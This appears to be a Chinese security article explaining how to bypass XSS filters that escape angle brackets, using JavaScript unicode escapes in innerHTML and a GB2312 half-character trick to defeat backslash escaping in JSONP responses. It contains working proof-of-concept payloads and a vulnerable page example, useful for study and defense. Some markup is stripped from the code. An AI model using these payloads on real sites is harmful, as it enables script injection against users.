一种新型的绕过XSS防御的方法介绍

大家都知道，普遍的防御XSS攻击的方法是在后台对以下字符进行转义：、、、，但是经过本人的研究发现，在一些特殊场景下，即使对以上字符进行了转义，还是可以执行XSS攻击的。
首先看一个JS的例子：
script
var s = \u003c\u003e;
alert(s);
/script运行这段代码，结果显示如下：
看到这么熟悉的尖括号，大家会不会有一些兴奋的感觉呢？JS代码中并没有出现尖括号，可是运行时却输出了尖括号！！！这意味着：可以通过\u003c和\u003e来代替和。可是该如何利用这个特性来构造XSS攻击呢？继续看一个例子：
div id='s'
test
/div
script
var s = \u003cimg src=1 onerror=alert(/xss/)\u003e;
document.getElementById('s').innerHTML = s;
/script运行上面代码，结果显示如下：
在没有尖括号的情况下，成功实现了一个弹框的案例。
现在来设想一个更贴近实际开发情况的例子：
（1）假设某站的首页：http://www.xxxx.com /main.html，其代码为：
div id=test
aa
/div
script
function callback(obj)
{
document.getElementById(test).innerHTML = obj.name;
}
/script
script src= http://www.victim.com/getcontent/script（2）http://www.victim.com/getcontent返回的内容格式如下：
callback({name:xx}); 其中name的值是用户的昵称。
这个例子简单模拟了异步拉取信息并进行显示的情况。
现在假设用户的昵称为：
\u003cimg src=1 onerror=alert(/xss/)\u003e 那么会是什么情况呢？
首先getcontent返回的昵称应该是这样的：
\\u003cimg src=1 onerror=alert(/xss/)\\u003e因为后台输出JSON格式数据时，一般都会在\前面添加转义符进行转义。
接着main.html的callback函数应该是等价于执行下面的语句：
document.getElementById(test).innerHTML = \\u003cimg src=1 onerror=alert(/xss/)\\u003e;显示的结果如下：
很遗憾，没有弹出框。原因是原来的转义序列\u003c并没有生效，被添加的转义符转义掉了。
不过这里假设返回昵称时对\进行了转义，但实际情况下，有时输出json格式数据时是没有对\进行转义的，那样就会触发漏洞。
对于有对\进行转义的，这时就轮到我们强大的半字符出场了。对于半字符的问题，这里并不打算详细讲，说下结论：
对于gb2312编码， [0xc0]\ 是一个合法的编码，显示为：繺。
对于UTF-8编码，在IE6下，上述组合也是一个合法的编码。
其中[0xc0]表示一个十六进制的值。
现在修改昵称为：
[0xc0]\u003cimg src=1 onerror=alert(/xss/) [0xc0]\u003e，getcontent输出：
callback({name:[0xc0]\\u003cimg src=1 onerror=alert(/xss/) [0xc0]\\u003e});由于半字符[0xc0]的存在，在解释上述JS代码时，等价于：
callback({name:繺\u003cimg src=1 onerror=alert(/xss/) 繺\u003e});可见，转义序列\u003c终于又回来了，显示结果如下：